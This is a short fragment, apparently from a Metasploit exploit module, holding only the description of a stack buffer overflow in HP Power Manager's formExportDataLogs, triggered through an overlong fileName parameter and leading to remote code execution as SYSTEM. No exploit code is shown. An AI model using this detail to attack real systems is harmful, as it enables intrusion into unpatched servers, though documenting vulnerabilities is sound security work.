  			'Description' => %q{
  					This module exploits a buffer overflow in HP Power Manager's 'formExportDataLogs'.
  				By creating a malformed request specifically for the fileName parameter, a stack-based
  				buffer overflow occurs due to a long error message (which contains the fileName),
  				which may result aribitrary remote code execution under the context of 'SYSTEM'.
